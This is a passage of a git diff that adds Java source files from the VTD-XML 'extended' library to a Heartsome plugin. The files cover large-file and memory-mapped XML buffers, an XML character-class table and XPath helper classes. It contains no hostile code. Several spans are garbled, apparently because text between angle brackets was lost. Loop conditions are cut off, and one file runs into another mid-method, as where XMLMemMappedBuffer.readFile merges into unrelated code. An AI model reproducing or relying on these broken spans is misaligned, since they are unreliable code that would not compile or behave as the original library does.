i=0;i (1<<30)){ + bufferArray[i] = new byte[1<<30]; + byteArrayLen = 1<<30; + } + else{ + bufferArray[i] = new byte[(int)l]; + byteArrayLen = (int)l; + } + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;//I choose this value randomly, + //any other (not too big) value also can be here. + if (byteArrayLen-offset= 0) + { + offset += numRead; + if (byteArrayLen-offset>30)][(int)(index & 0x3fffffff)]; + } + + /** + * Return a byte array filled with content from underlying byte storage. + * @return byte[] + * @param offset int bytes offset (not UTF char unit) + * @param len int + */ + public byte[] getBytes(int offset, int len){ + return (byte[]) null; + } + /** + * Total size in terms of # of bytes. + * @return int + */ + public long length(){ + return length; + } + // get the whole XML + public byte[] getBytes(){ + return null; + } + + public void writeToFileOutputStream(java.io.FileOutputStream ost, long os, long len) + throws java.io.IOException{ + //page size is 1<<30 + // then find the remainder + //ost's page # + int pageN = (int)(os>>30); + //ost's remainder + int pos = (int)(os&((1<<30)-1)); + // only write to outputStream once + if (pos+len <= 1<<30){ + ost.write(bufferArray[pageN], pos,(int) len); + return; + } + //write the head + ost.write(bufferArray[pageN],pos, (1<<30)-pos); + pageN++; + len -= (1<<30)-pos; + + //write the mid sections + while(len>(1<<30)){ + ost.write(bufferArray[pageN],0, (1<<30)); + pageN++; + len -= (1<<30); + } + + //write the tail + ost.write(bufferArray[pageN], 0, (int)len); + return; + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLMemMappedBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLMemMappedBuffer.java new file mode 100644 index 0000000..879db04 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLMemMappedBuffer.java @@ -0,0 +1,106 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +import java.io.*; +import java.nio.*; +import java.nio.channels.*; +/** + * + * XMLMemMappedBuffer maps an XML document into memory using memory map. + * It avoids the complete loading of the document in memory thus making it + * possible to process very large files. But the trade off is potentially + * lower performance due to disk IO. + */ + +public class XMLMemMappedBuffer implements IByteBuffer { + MappedByteBuffer input[]; + FileChannel fc; + RandomAccessFile raf; + String fn; + long length; + public XMLMemMappedBuffer(){ + + } + + public long length(){ + return length; + } + + public byte byteAt(long index){ + return input[(int)(index>>30)].get((int)(index & 0x3fffffff)); + } + + public void readFile(String fileName) throws java.io.IOException, ParseExceptionHuge { + File f = new File(fileName); + fn = fileName; + long l = f.length(); + length = l; + if (l>= (1L<< 38)){ + throw new ParseExceptionHuge("document too big > 256 Gbyte"); + } + raf = new RandomAccessFile(fileName, "r"); + fc = raf.getChannel(); + int pageNumber = (int)(l>>30)+(((l & 0x3fffffffL)==0)?0:1); + + input = new MappedByteBuffer[pageNumber]; + long l2 =0; + for (int i=0;imaxDepth){ + maxDepth = temp; + } + if (storage[temp]==null) { + storage[temp]= new FastIntBuffer(pageSizeE); + storage[temp].append(i); + return true; + } + else{ + int size = storage[temp].size(); + for (int j=0;j + * This is an optimization for the inner loop of character scanning. + */ + public static final int XML_CONTENT = 0x20; + + /** NCName start character mask. */ + public static final int XML_NCNAME_START = 0x40; + + /** NCName character mask. */ + public static final int XML_NCNAME = 0x80; + + // + // Static initialization + // + + static { + + // + // [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | + // [#xE000-#xFFFD] | [#x10000-#x10FFFF] + // + + int xmlCharRange[][] = { { 0x0009, 0x000A }, { + 0x000D, 0x000D }, { + 0x0020, 0xD7FF }, { + 0xE000, 0xFFFD }, }; + + // + // [3] S ::= (#x20 | #x9 | #xD | #xA)+ + // + + int xmlSpaceChar[] = { 0x0020, 0x0009, 0x000D, 0x000A, }; + + // + // [4] NameChar ::= Letter | Digit | '.' | '-' | '_' | ':' | + // CombiningChar | Extender + // + + int xmlNameChar[] = { 0x002D, 0x002E, // '-' and '.' + }; + + // + // [5] Name ::= (Letter | '_' | ':') (NameChar)* + // + + int xmlNameStartChar[] = { 0x003A, 0x005F, // ':' and '_' + }; + + // + // [13] PubidChar ::= #x20 | 0xD | 0xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%] + // + + int xmlPubidChar[] = + { 0x000A, 0x000D, 0x0020, 0x0021, 0x0023, 0x0024, 0x0025, 0x003D, 0x005F }; + + int xmlPubidRange[][] = { { 0x0027, 0x003B }, { + 0x003F, 0x005A }, { + 0x0061, 0x007A } + }; + + // + // [84] Letter ::= BaseChar | Ideographic + // + + int xmlLetterRange[][] = { + // BaseChar + { 0x0041, 0x005A }, { 0x0061, 0x007A }, { 0x00C0, 0x00D6 }, + { 0x00D8, 0x00F6 }, { 0x00F8, 0x0131 }, { 0x0134, 0x013E }, + { 0x0141, 0x0148 }, { 0x014A, 0x017E }, { 0x0180, 0x01C3 }, + { 0x01CD, 0x01F0 }, { 0x01F4, 0x01F5 }, { 0x01FA, 0x0217 }, + { 0x0250, 0x02A8 }, { 0x02BB, 0x02C1 }, { 0x0388, 0x038A }, + { 0x038E, 0x03A1 }, { 0x03A3, 0x03CE }, { 0x03D0, 0x03D6 }, + { 0x03E2, 0x03F3 }, { 0x0401, 0x040C }, { 0x040E, 0x044F }, + { 0x0451, 0x045C }, { 0x045E, 0x0481 }, { 0x0490, 0x04C4 }, + { 0x04C7, 0x04C8 }, { 0x04CB, 0x04CC }, { 0x04D0, 0x04EB }, + { 0x04EE, 0x04F5 }, { 0x04F8, 0x04F9 }, { 0x0531, 0x0556 }, + { 0x0561, 0x0586 }, { 0x05D0, 0x05EA }, { 0x05F0, 0x05F2 }, + { 0x0621, 0x063A }, { 0x0641, 0x064A }, { 0x0671, 0x06B7 }, + { 0x06BA, 0x06BE }, { 0x06C0, 0x06CE }, { 0x06D0, 0x06D3 }, + { 0x06E5, 0x06E6 }, { 0x0905, 0x0939 }, { 0x0958, 0x0961 }, + { 0x0985, 0x098C }, { 0x098F, 0x0990 }, { 0x0993, 0x09A8 }, + { 0x09AA, 0x09B0 }, { 0x09B6, 0x09B9 }, { 0x09DC, 0x09DD }, + { 0x09DF, 0x09E1 }, { 0x09F0, 0x09F1 }, { 0x0A05, 0x0A0A }, + { 0x0A0F, 0x0A10 }, { 0x0A13, 0x0A28 }, { 0x0A2A, 0x0A30 }, + { 0x0A32, 0x0A33 }, { 0x0A35, 0x0A36 }, { 0x0A38, 0x0A39 }, + { 0x0A59, 0x0A5C }, { 0x0A72, 0x0A74 }, { 0x0A85, 0x0A8B }, + { 0x0A8F, 0x0A91 }, { 0x0A93, 0x0AA8 }, { 0x0AAA, 0x0AB0 }, + { 0x0AB2, 0x0AB3 }, { 0x0AB5, 0x0AB9 }, { 0x0B05, 0x0B0C }, + { 0x0B0F, 0x0B10 }, { 0x0B13, 0x0B28 }, { 0x0B2A, 0x0B30 }, + { 0x0B32, 0x0B33 }, { 0x0B36, 0x0B39 }, { 0x0B5C, 0x0B5D }, + { 0x0B5F, 0x0B61 }, { 0x0B85, 0x0B8A }, { 0x0B8E, 0x0B90 }, + { 0x0B92, 0x0B95 }, { 0x0B99, 0x0B9A }, { 0x0B9E, 0x0B9F }, + { 0x0BA3, 0x0BA4 }, { 0x0BA8, 0x0BAA }, { 0x0BAE, 0x0BB5 }, + { 0x0BB7, 0x0BB9 }, { 0x0C05, 0x0C0C }, { 0x0C0E, 0x0C10 }, + { 0x0C12, 0x0C28 }, { 0x0C2A, 0x0C33 }, { 0x0C35, 0x0C39 }, + { 0x0C60, 0x0C61 }, { 0x0C85, 0x0C8C }, { 0x0C8E, 0x0C90 }, + { 0x0C92, 0x0CA8 }, { 0x0CAA, 0x0CB3 }, { 0x0CB5, 0x0CB9 }, + { 0x0CE0, 0x0CE1 }, { 0x0D05, 0x0D0C }, { 0x0D0E, 0x0D10 }, + { 0x0D12, 0x0D28 }, { 0x0D2A, 0x0D39 }, { 0x0D60, 0x0D61 }, + { 0x0E01, 0x0E2E }, { 0x0E32, 0x0E33 }, { 0x0E40, 0x0E45 }, + { 0x0E81, 0x0E82 }, { 0x0E87, 0x0E88 }, { 0x0E94, 0x0E97 }, + { 0x0E99, 0x0E9F }, { 0x0EA1, 0x0EA3 }, { 0x0EAA, 0x0EAB }, + { 0x0EAD, 0x0EAE }, { 0x0EB2, 0x0EB3 }, { 0x0EC0, 0x0EC4 }, + { 0x0F40, 0x0F47 }, { 0x0F49, 0x0F69 }, { 0x10A0, 0x10C5 }, + { 0x10D0, 0x10F6 }, { 0x1102, 0x1103 }, { 0x1105, 0x1107 }, + { 0x110B, 0x110C }, { 0x110E, 0x1112 }, { 0x1154, 0x1155 }, + { 0x115F, 0x1161 }, { 0x116D, 0x116E }, { 0x1172, 0x1173 }, + { 0x11AE, 0x11AF }, { 0x11B7, 0x11B8 }, { 0x11BC, 0x11C2 }, + { 0x1E00, 0x1E9B }, { 0x1EA0, 0x1EF9 }, { 0x1F00, 0x1F15 }, + { 0x1F18, 0x1F1D }, { 0x1F20, 0x1F45 }, { 0x1F48, 0x1F4D }, + { 0x1F50, 0x1F57 }, { 0x1F5F, 0x1F7D }, { 0x1F80, 0x1FB4 }, + { 0x1FB6, 0x1FBC }, { 0x1FC2, 0x1FC4 }, { 0x1FC6, 0x1FCC }, + { 0x1FD0, 0x1FD3 }, { 0x1FD6, 0x1FDB }, { 0x1FE0, 0x1FEC }, + { 0x1FF2, 0x1FF4 }, { 0x1FF6, 0x1FFC }, { 0x212A, 0x212B }, + { 0x2180, 0x2182 }, { 0x3041, 0x3094 }, { 0x30A1, 0x30FA }, + { 0x3105, 0x312C }, { 0xAC00, 0xD7A3 }, + // Ideographic + { 0x3021, 0x3029 }, { 0x4E00, 0x9FA5 }, }; + int xmlLetterChar[] = { + // BaseChar + 0x0386, 0x038C, 0x03DA, 0x03DC, 0x03DE, 0x03E0, 0x0559, 0x06D5, + 0x093D, 0x09B2, 0x0A5E, 0x0A8D, 0x0ABD, 0x0AE0, 0x0B3D, 0x0B9C, + 0x0CDE, 0x0E30, 0x0E84, 0x0E8A, 0x0E8D, 0x0EA5, 0x0EA7, 0x0EB0, + 0x0EBD, 0x1100, 0x1109, 0x113C, 0x113E, 0x1140, 0x114C, 0x114E, + 0x1150, 0x1159, 0x1163, 0x1165, 0x1167, 0x1169, 0x1175, 0x119E, + 0x11A8, 0x11AB, 0x11BA, 0x11EB, 0x11F0, 0x11F9, 0x1F59, 0x1F5B, + 0x1F5D, 0x1FBE, 0x2126, 0x212E, + // Ideographic + 0x3007, }; + + // + // [87] CombiningChar ::= ... + // + + int xmlCombiningCharRange[][] = { { 0x0300, 0x0345 }, + { 0x0360, 0x0361 }, { 0x0483, 0x0486 }, { 0x0591, 0x05A1 }, + { 0x05A3, 0x05B9 }, { 0x05BB, 0x05BD }, { 0x05C1, 0x05C2 }, + { 0x064B, 0x0652 }, { 0x06D6, 0x06DC }, { 0x06DD, 0x06DF }, + { 0x06E0, 0x06E4 }, { 0x06E7, 0x06E8 }, { 0x06EA, 0x06ED }, + { 0x0901, 0x0903 }, { 0x093E, 0x094C }, { 0x0951, 0x0954 }, + { 0x0962, 0x0963 }, { 0x0981, 0x0983 }, { 0x09C0, 0x09C4 }, + { 0x09C7, 0x09C8 }, { 0x09CB, 0x09CD }, { 0x09E2, 0x09E3 }, + { 0x0A40, 0x0A42 }, { 0x0A47, 0x0A48 }, { 0x0A4B, 0x0A4D }, + { 0x0A70, 0x0A71 }, { 0x0A81, 0x0A83 }, { 0x0ABE, 0x0AC5 }, + { 0x0AC7, 0x0AC9 }, { 0x0ACB, 0x0ACD }, { 0x0B01, 0x0B03 }, + { 0x0B3E, 0x0B43 }, { 0x0B47, 0x0B48 }, { 0x0B4B, 0x0B4D }, + { 0x0B56, 0x0B57 }, { 0x0B82, 0x0B83 }, { 0x0BBE, 0x0BC2 }, + { 0x0BC6, 0x0BC8 }, { 0x0BCA, 0x0BCD }, { 0x0C01, 0x0C03 }, + { 0x0C3E, 0x0C44 }, { 0x0C46, 0x0C48 }, { 0x0C4A, 0x0C4D }, + { 0x0C55, 0x0C56 }, { 0x0C82, 0x0C83 }, { 0x0CBE, 0x0CC4 }, + { 0x0CC6, 0x0CC8 }, { 0x0CCA, 0x0CCD }, { 0x0CD5, 0x0CD6 }, + { 0x0D02, 0x0D03 }, { 0x0D3E, 0x0D43 }, { 0x0D46, 0x0D48 }, + { 0x0D4A, 0x0D4D }, { 0x0E34, 0x0E3A }, { 0x0E47, 0x0E4E }, + { 0x0EB4, 0x0EB9 }, { 0x0EBB, 0x0EBC }, { 0x0EC8, 0x0ECD }, + { 0x0F18, 0x0F19 }, { 0x0F71, 0x0F84 }, { 0x0F86, 0x0F8B }, + { 0x0F90, 0x0F95 }, { 0x0F99, 0x0FAD }, { 0x0FB1, 0x0FB7 }, + { 0x20D0, 0x20DC }, { 0x302A, 0x302F }, }; + + int xmlCombiningCharChar[] = { 0x05BF, 0x05C4, 0x0670, 0x093C, 0x094D, + 0x09BC, 0x09BE, 0x09BF, 0x09D7, 0x0A02, 0x0A3C, 0x0A3E, 0x0A3F, + 0x0ABC, 0x0B3C, 0x0BD7, 0x0D57, 0x0E31, 0x0EB1, 0x0F35, 0x0F37, + 0x0F39, 0x0F3E, 0x0F3F, 0x0F97, 0x0FB9, 0x20E1, 0x3099, 0x309A, }; + + // + // [88] Digit ::= ... + // + + int xmlDigitRange[][] = { { 0x0030, 0x0039 }, { 0x0660, 0x0669 }, + { 0x06F0, 0x06F9 }, { 0x0966, 0x096F }, { 0x09E6, 0x09EF }, + { 0x0A66, 0x0A6F }, { 0x0AE6, 0x0AEF }, { 0x0B66, 0x0B6F }, + { 0x0BE7, 0x0BEF }, { 0x0C66, 0x0C6F }, { 0x0CE6, 0x0CEF }, + { 0x0D66, 0x0D6F }, { 0x0E50, 0x0E59 }, { 0x0ED0, 0x0ED9 }, + { 0x0F20, 0x0F29 }, }; + + // + // [89] Extender ::= ... + // + + int xmlExtenderRange[][] = { { 0x3031, 0x3035 }, { + 0x309D, 0x309E }, { + 0x30FC, 0x30FE }, }; + + int xmlExtenderChar[] = + { 0x00B7, 0x02D0, 0x02D1, 0x0387, 0x0640, 0x0E46, 0x0EC6, 0x3005, }; + + // + // SpecialChar ::= '<', '&', '\n', '\r', ']' + // + + //int specialChar[] = { + // '<', '&', '\n', '\r', ']', + //}; + + int xmlSpecialChar[] = { '<', '&', ']' }; + + // + // Static Initialization of all chars and their masks + // + + // set valid characters + for (int i = 0; i < xmlCharRange.length; i++) { + for (int j = xmlCharRange[i][0]; j <= xmlCharRange[i][1]; j++) { + UNI_CHARS[j] |= XML_VALID | XML_CONTENT; + } + } + + // remove special characters + for (int i = 0; i < xmlSpecialChar.length; i++) { + UNI_CHARS[xmlSpecialChar[i]] = + (byte) (UNI_CHARS[xmlSpecialChar[i]] & ~XML_CONTENT); + } + + // set space characters + for (int i = 0; i < xmlSpaceChar.length; i++) { + UNI_CHARS[xmlSpaceChar[i]] |= XML_SPACE; + } + + // set name start characters + for (int i = 0; i < xmlNameStartChar.length; i++) { + UNI_CHARS[xmlNameStartChar[i]] |= XML_NAME_START + | XML_NAME + | XML_NCNAME_START + | XML_NCNAME; + } + for (int i = 0; i < xmlLetterRange.length; i++) { + for (int j = xmlLetterRange[i][0]; j <= xmlLetterRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME_START | XML_NAME | XML_NCNAME_START | XML_NCNAME; + } + } + for (int i = 0; i < xmlLetterChar.length; i++) { + UNI_CHARS[xmlLetterChar[i]] |= XML_NAME_START + | XML_NAME + | XML_NCNAME_START + | XML_NCNAME; + } + + // set name characters + for (int i = 0; i < xmlNameChar.length; i++) { + UNI_CHARS[xmlNameChar[i]] |= XML_NAME | XML_NCNAME; + } + for (int i = 0; i < xmlDigitRange.length; i++) { + for (int j = xmlDigitRange[i][0]; j <= xmlDigitRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlCombiningCharRange.length; i++) { + for (int j = xmlCombiningCharRange[i][0]; + j <= xmlCombiningCharRange[i][1]; + j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlCombiningCharChar.length; i++) { + UNI_CHARS[xmlCombiningCharChar[i]] |= XML_NAME | XML_NCNAME; + } + for (int i = 0; i < xmlExtenderRange.length; i++) { + for (int j = xmlExtenderRange[i][0]; j <= xmlExtenderRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlExtenderChar.length; i++) { + UNI_CHARS[xmlExtenderChar[i]] |= XML_NAME | XML_NCNAME; + } + + // remove ':' from allowable XML_NCNAME_START and XML_NCNAME chars + UNI_CHARS[':'] &= ~(XML_NCNAME_START | XML_NCNAME); + + // set Pubid characters + for (int i = 0; i < xmlPubidChar.length; i++) { + UNI_CHARS[xmlPubidChar[i]] |= XML_PUBID; + } + for (int i = 0; i < xmlPubidRange.length; i++) { + for (int j = xmlPubidRange[i][0]; j <= xmlPubidRange[i][1]; j++) { + UNI_CHARS[j] |= XML_PUBID; + } + } + + } + + /** + * Returns the high surrogate from a Unicode scalar value + * + * @param c + * The Unicode scalar value to "split". + */ + public static char highSurrogate(int c) { + //H = (S - 0x10000) / 0x400 + 0xD800 + return (char) ((c >> 10) + 0xd7c0); + } + /** + * Returns true if the specified character can be considered XML content. + * + * @param c + * The character to check. + */ + public static boolean isContentChar(int c) { + return (c < 0x10000 && (UNI_CHARS[c] & XML_CONTENT) != 0) || + (0x10000 <= c && c <= 0x10FFFF); + } + /** + * Returns whether the given Unicode scalar value is a high surrogate + * + * @param c + * The character to check. + */ + public static boolean isHighSurrogate(int c) { + return (0xD800 <= c && c <= 0xDBFF); + } + /** + * Returns true if the specified character is invalid. + * + * @param c + * The character to check. + */ + public static boolean isInvalidChar(int c) { + return ((c < 0x10000) && (UNI_CHARS[c] & XML_VALID) == 0) || (c >= 0x10ffff); + } + /** + * Returns whether the given Unicode scalar value is a low surrogate + * + * @param c + * The character to check. + */ + public static boolean isLowSurrogate(int c) { + return (0xDC00 <= c && c <= 0xDFFF); + } + /** + * Returns true if the specified character can be considered markup. + * Markup characters include '<', '&', and '%'. + * + * @param c The character to check. + */ + public static boolean isMarkupChar(int c) { + return c == '<' || c == '&' || c == '%'; + } + /** + * Returns true if the specified character is a valid name + * character as defined by production [4] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isNameChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NAME) != 0; + } + /** + * Returns true if the specified character is a valid name start + * character as defined by production [5] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isNameStartChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NAME_START) != 0; + } + /** + * Returns true if the specified character is a valid NCName + * character as defined by production [5] in Namespaces in XML + * recommendation. + * + * @param c The character to check. + */ + public static boolean isNCNameChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NCNAME) != 0; + } + /** + * Returns true if the specified character is a valid NCName start + * character as defined by production [4] in Namespaces in XML + * recommendation. + * + * @param c The character to check. + */ + public static boolean isNCNameStartChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NCNAME_START) != 0; + } + /* + * [7] Nmtoken ::= (NameChar)+ + * + * Check to see if a string is a valid Nmtoken according to [7] + * in the XML 1.0 Recommendation + * + * @param nmToken string to check + * @return true if nmtoken is a valid Nmtoken + */ + public static boolean isNmtoken(String nmToken) { + if (nmToken.length() == 0) return false; + + for (int i = 0; i < nmToken.length(); i++ ) + if(!isNameChar( nmToken.charAt(i))) return false; + + return true; + } + /** + * Returns true if the specified character is a valid Pubid + * character as defined by production [13] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isPubidChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_PUBID) != 0; + } + /** + * Returns true if the specified character is a space character + * as defined by production [3] in the XML 1.0 specification. + * + * @param c The character to check. + */ + public static boolean isSpaceChar(int c) { + return c <= 0x20 && (UNI_CHARS[c] & XML_SPACE) != 0; + } + /** + * Returns true if the specified character is a supplemental character. + * + * @param c The character to check. + */ + public static boolean isSupplementalChar(int c) { + return (c >= 0x10000 && c <= 0x10FFFF); + } + /** + * Returns true if the specified character is valid. This method + * also checks the surrogate character range from 0x10000 to 0x10FFFF. + *

    + * If the program chooses to apply the mask directly to the + * UNI_CHARS array, then they are responsible for checking + * the surrogate character range. + * + * @param c The character to check. + */ + public static boolean isValidChar(int c) { + return (c < 0x10000 && (UNI_CHARS[c] & XML_VALID) != 0) || + (0x10000 <= c && c <= 0x10FFFF); + } + /** + * Returns the low surrogate from a Unicode scalar value + * + * @param c The Unicode scalar value to "split". + */ + public static char lowSurrogate(int c) { + //L = (S - 0x10000) % 0x400 + 0xDC00 + return (char) (((c - 0x00010000) & 0x3FF) + 0xDC00); + } + /** + * Returns Unicode scalar value corresponding to the given + * surrogates. + * + * @param hi The high surrogate. + * @param lo The low surrogate. + */ + public static int scalarValueSurrogate(char hi, char lo) { + //N = (H - 0xD800) * 0x400 + (L - 0xDC00) + 0x10000 + return ((hi - 0xd800) << 10) + lo - 0x2400; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Alist.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Alist.java new file mode 100644 index 0000000..87fb590 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Alist.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended.xpath; +import com.ximpleware.extended.*; +/** + * + * This class implements the argumentList for FuncExpr + * which is basically a linked-list of expressions + */ +public class Alist { + + public Expr e; + public Alist next; + public Alist (){ + next = null; + } + public String toString(){ + Alist temp = this; + String s = ""; + while(temp!=null){ + s = s+temp.e; + temp = temp.next; + if (temp!=null) + s = s+" ,"; + } + return s; + } + + public void reset(VTDNavHuge vn){ + Alist temp = this; + while(temp!=null){ + temp.e.reset(vn); + temp = temp.next; + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/AxisType.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/AxisType.java new file mode 100644 index 0000000..6f8f0ad --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/AxisType.java @@ -0,0 +1,64 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended.xpath; +/** + * + * This class is used by Yylex to detect axis type + * and transport to the parser + * + */ +public class AxisType{ + + public int i; + public static final int CHILD=0; + public static final int ANCESTOR =3; + public static final int ANCESTOR_OR_SELF =12; + public static final int ATTRIBUTE = 8; + + public static final int DESCENDANT=1; + public static final int DESCENDANT_OR_SELF=11; + public static final int FOLLOWING =6; + public static final int FOLLOWING_SIBLING =4; + public static final int NAMESPACE =9; + public static final int PARENT= 2; + public static final int PRECEDING =7; + public static final int PRECEDING_SIBLING=5; + public static final int SELF =10; + + public AxisType (){ + } + + public String getAxisString(){ + switch (i){ + case 0: return "child::"; + case 1: return "descendent::"; + case 2: return "parent::"; + case 3: return "ancestor::"; + case 4: return "following-sibling::"; + case 5: return "preceding-sibling::"; + case 6: return "following::"; + case 7: return "preceding::"; + case 8: return "attribute::"; + case 9: return "namespace::"; + case 10: return "self::"; + case 11: return "descendant-or-self::"; + default: return "ancestor-or-self::"; + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Expr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Expr.java new file mode 100644 index 0000000..651d2a0 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/Expr.java @@ -0,0 +1,53 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended.xpath; +import com.ximpleware.extended.*; +/** + * + * This is the abstract class on which all XPath expressions + * are based + */ + +abstract public class Expr { + + abstract public boolean evalBoolean(VTDNavHuge vn); + + abstract public double evalNumber(VTDNavHuge vn); + + abstract public int evalNodeSet(VTDNavHuge vn) throws XPathEvalExceptionHuge, NavExceptionHuge; + + abstract public String evalString(VTDNavHuge vn); + + abstract public void reset(VTDNavHuge vn); + abstract public String toString(); + + abstract public boolean isNumerical(); + abstract public boolean isNodeSet(); + abstract public boolean isString(); + abstract public boolean isBoolean(); + + abstract public boolean requireContextSize(); + abstract public void setContextSize(int size); + + abstract public void setPosition(int pos); + abstract public int adjust(int n); + // to support computer context size + // needs to add + //abstract public boolean needContextSize(); + //abstract public boolean SetContextSize(int contextSize); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/FuncName.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/FuncName.java new file mode 100644 index 0000000..febc0af --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/FuncName.java @@ -0,0 +1,126 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended.xpath; + + +/** + * + * This class is used by lexer to detect built-in functions + * then transport to the parser + */ +public class FuncName{ + public int i; + public static final int LAST = 0; + public static final int POSITION =1; + public static final int COUNT = 2; + public static final int LOCAL_NAME =3; + public static final int NAMESPACE_URI =4; + public static final int NAME=5; + public static final int STRING=6; + public static final int CONCAT = 7; + public static final int STARTS_WITH = 8; + public static final int CONTAINS = 9; + public static final int SUBSTRING_BEFORE = 10; + public static final int SUBSTRING_AFTER =11; + public static final int SUBSTRING = 12; + public static final int STRING_LENGTH =13; + public static final int NORMALIZE_SPACE =14; + public static final int TRANSLATE =15; + public static final int BOOLEAN =16; + public static final int NOT = 17; + public static final int TRUE =18; + public static final int FALSE =19; + public static final int LANG = 20; + public static final int NUMBER = 21; + public static final int SUM = 22; + public static final int FLOOR =23; + public static final int CEILING = 24; + public static final int ROUND = 25; +// added for 2.0 + public static final int ABS = 26; + public static final int ROUND_HALF_TO_EVEN = 27; + public static final int ROUND_HALF_TO_ODD = 28; + public static final int CODE_POINTS_TO_STRING = 29; + public static final int COMPARE = 30; + + public static final int UPPER_CASE = 31; + public static final int LOWER_CASE = 32; + public static final int ENDS_WITH = 33; + public static final int QNAME = 34; + public static final int LOCAL_NAME_FROM_QNAME = 35; + public static final int NAMESPACE_URI_FROM_QNAME = 36; + public static final int NAMESPACE_URI_FOR_PREFIX = 37; + public static final int RESOLVE_QNAME = 38; + public static final int IRI_TO_URI = 39; + public static final int ESCAPE_HTML_URI = 40; + public static final int ENCODE_FOR_URI = 41; + +// String getFuncString(){ +// switch(i){ +// case FuncName.LAST: return "last"; +// case FuncName.POSITION: return "position"; +// case FuncName.COUNT: return "count"; +// case FuncName.LOCAL_NAME: return "local-name"; +// case FuncName.NAMESPACE_URI: return "namespace-uri"; +// case FuncName.NAME: return "name"; +// case FuncName.STRING: return "string"; +// case FuncName.CONCAT: return "concat"; +// case FuncName.STARTS_WITH: return "starts-with"; +// case FuncName.CONTAINS: return "contains"; +// case FuncName.SUBSTRING_BEFORE: return "substring-before"; 